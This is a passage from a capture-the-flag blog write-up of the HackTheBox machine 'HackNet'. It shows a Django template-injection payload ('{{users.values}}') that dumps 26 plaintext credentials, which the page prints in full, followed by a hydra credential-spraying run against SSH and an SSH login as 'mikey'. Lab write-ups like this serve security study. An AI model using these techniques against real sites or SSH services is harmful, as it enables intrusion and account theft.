<p>For example, <code class="language-plaintext highlighter-rouge">{{user}}</code> is rendered as “AnonymousUser”:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/ssti_anonuser.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">{{users}}</code> rendered a QuerySet of all users that liked the post:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/ssti_users.png" alt="" /></p>

<p>The list is different for each post:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/ssti_anotherpost.png" alt="" /></p>

<p>A QuerySet is basically a collection of objects returned from a database query, and provides methods for easy data-handling operations such as sorting and filtering. According to the <a href="https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values">docs</a>, it has a <code class="language-plaintext highlighter-rouge">values</code> method that returns the properties of all its objects in dictionary form. I’ll try <code class="language-plaintext highlighter-rouge">{{users.values}}</code>, and it dumped out all properties of the user objects, including plaintext credentials.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/hacknet/ssti_creds.png" alt="" /></p>

<p>I’ll create <a href="https://github.com/ch3ng625/CTF-scripts/blob/main/HTB/HackNet/ssti.py">a Python script</a> to automatically go through all posts and extract the creds of all users. It found 26 of them in total.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/hacknet</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">python ssti.py login ch3ng@ch3ng.com ch3ng</span>
<span class="cmd-output">
[+] Login successful.
[*] Username changed to ''.
[*] Extracting credentials... 50/50                                  
[+] 26 credentials extracted in total:
Username          Email                         Password
----------------  ----------------------------  ----------------
zero_day          zero_day@hushmail.com         Zer0D@yH@ck
blackhat_wolf     blackhat_wolf@cypherx.com     Bl@ckW0lfH@ck
datadive          datadive@darkmail.net         D@taD1v3r
codebreaker       codebreaker@ciphermail.com    C0d3Br3@k!
netninja          netninja@hushmail.com         N3tN1nj@2024
darkseeker        darkseeker@darkmail.net       D@rkSeek3r#
trojanhorse       trojanhorse@securemail.org    Tr0j@nH0rse!
exploit_wizard    exploit_wizard@hushmail.com   Expl01tW!zard
brute_force       brute_force@ciphermail.com    BrUt3F0rc3#
{{users.values}}  ch3ng@ch3ng.com               ch3ng
hexhunter         hexhunter@ciphermail.com      H3xHunt3r!
rootbreaker       rootbreaker@exploitmail.net   R00tBr3@ker#
packetpirate      packetpirate@exploitmail.net  P@ck3tP!rat3
stealth_hawk      stealth_hawk@exploitmail.net  St3@lthH@wk
whitehat          whitehat@darkmail.net         Wh!t3H@t2024
virus_viper       virus_viper@securemail.org    V!rusV!p3r2024
cyberghost        cyberghost@darkmail.net       Gh0stH@cker2024
shadowcaster      shadowcaster@darkmail.net     Sh@d0wC@st!
bytebandit        bytebandit@exploitmail.net    Byt3B@nd!t123
shadowmancer      shadowmancer@cypherx.com      Sh@d0wM@ncer
phreaker          phreaker@securemail.org       Phre@k3rH@ck
shadowwalker      shadowwalker@hushmail.com     Sh@dowW@lk2024
cryptoraven       cryptoraven@securemail.org    CrYptoR@ven42
glitch            glitch@cypherx.com            Gl1tchH@ckz
deepdive          deepdive@hacknet.htb          D33pD!v3r
backdoor_bandit   mikey@hacknet.htb             mYd4rks1dEisH3re
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The last 2 accounts have email domains of <code class="language-plaintext highlighter-rouge">@hacknet.htb</code>. <code class="language-plaintext highlighter-rouge">backdoor_bandit</code> also has a different email name: <code class="language-plaintext highlighter-rouge">mikey</code>.</p>

<p>I’ve put all cred combinations into <code class="language-plaintext highlighter-rouge">creds.txt</code> and threw it to <code class="language-plaintext highlighter-rouge">hydra</code>. It found one that works on SSH:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/hacknet</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">hydra -C creds.txt ssh://hacknet.htb</span>
<span class="cmd-output">
Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-25 16:44:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 28 login tries, ~2 tries per task
[DATA] attacking ssh://hacknet.htb:22/
<span style="color: lightgreen;">[22][ssh] host: hacknet.htb   login: mikey   password: mYd4rks1dEisH3re</span>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-25 16:44:13
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>With that, I’ll get a shell as <code class="language-plaintext highlighter-rouge">mikey</code> and grab the user flag.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/hacknet</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ssh mikey@hacknet.htb</span>
<span class="cmd-output">
Warning: Permanently added 'hacknet.htb' (ED25519) to the list of known hosts.
mikey@hacknet.htb's password: 
Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Dec 25 01:30:24 2025 from 10.10.14.79
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=1000(mikey) gid=1000(mikey) groups=1000(mikey)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="user-flag">User Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">cat user.txt</span>

<span class="linux-output">2cc6cc13************************</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />
<h2 id="lateral-movement-from-mikey">Lateral Movement from <code class="language-plaintext highlighter-rouge">mikey</code>:</h2>
<h3 id="source-code">Source Code:</h3>

<p>The Django app’s folder is <code class="language-plaintext highlighter-rouge">/var/www/HackNet/</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">/var/www/HackNet</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 32
drwxr-xr-x 7 sandy sandy    4096 Feb 10  2025 .
drwxr-xr-x 4 root  root     4096 Jun  2  2024 ..
drwxr-xr-x 2 sandy sandy    4096 Dec 29  2024 backups
-rw-r--r-- 1 sandy www-data    0 Aug  8  2024 db.sqlite3
drwxr-xr-x 3 sandy sandy    4096 Sep  8 05:20 HackNet
-rwxr-xr-x 1 sandy sandy     664 May 31  2024 manage.py
drwxr-xr-x 2 sandy sandy    4096 Dec 24 09:58 media
drwxr-xr-x 6 sandy sandy    4096 Sep  8 05:22 SocialNetwork
drwxr-xr-x 3 sandy sandy    4096 May 31  2024 static</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>There’s an empty SQLite DB and several subfolders, all of which are owned by <code class="language-plaintext highlighter-rouge">sandy</code>.</p>

<h6 id="backups-folder"><code class="language-plaintext highlighter-rouge">backups</code> Folder:</h6>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">/var/www/HackNet</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la backups</span>

<span class="linux-output">total 56
drwxr-xr-x 2 sandy sandy  4096 Dec 29  2024 .
drwxr-xr-x 7 sandy sandy  4096 Feb 10  2025 ..
-rw-r--r-- 1 sandy sandy 13445 Dec 29  2024 backup01.sql.gpg
-rw-r--r-- 1 sandy sandy 13713 Dec 29  2024 backup02.sql.gpg
-rw-r--r-- 1 sandy sandy 13851 Dec 29  2024 backup03.sql.gpg</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">backups/</code> contains 3 GPG-encrypted database dump. Not much could be done without the keys, I’ll leave this for later.</p>

<h6 id="socialnetworks"><code class="language-plaintext highlighter-rouge">SocialNetworks</code>:</h6>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Hacknet</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">mikey@hacknet</span>:<span class="linux-path">/var/www/HackNet/SocialNetwork</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 68
drwxr-xr-x 6 sandy sandy  4096 Sep  8 05:22 .
drwxr-xr-x 7 sandy sandy  4096 Feb 10  2025 ..
-rw-r--r-- 1 sandy sandy   298 May 31  2024 admin.py
-rw-r--r-- 1 sandy sandy   157 May 31  2024 apps.py
-rw-r--r-- 1 sandy sandy     0 May 31  2024 __init__.py
drwxr-xr-x 3 sandy sandy  4096 Aug  8  2024 migrations
-rw-r--r-- 1 sandy sandy  2368 Aug  8  2024 models.py
-rw-r--r-- 1 sandy sandy  1126 Jun 20  2024 news_generator.py
drwxr-xr-x 2 sandy sandy  4096 Sep  8 05:22 __pycache__
drwxr-xr-x 2 sandy sandy  4096 May 31  2024 static
drwxr-xr-x 3 sandy sandy  4096 May 31  2024 templates
-rw-r--r-- 1 sandy sandy  1502 May 31  2024 urls.py
-rw-r--r-- 1 sandy sandy 22547 Sep  8 05:22 views.py</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
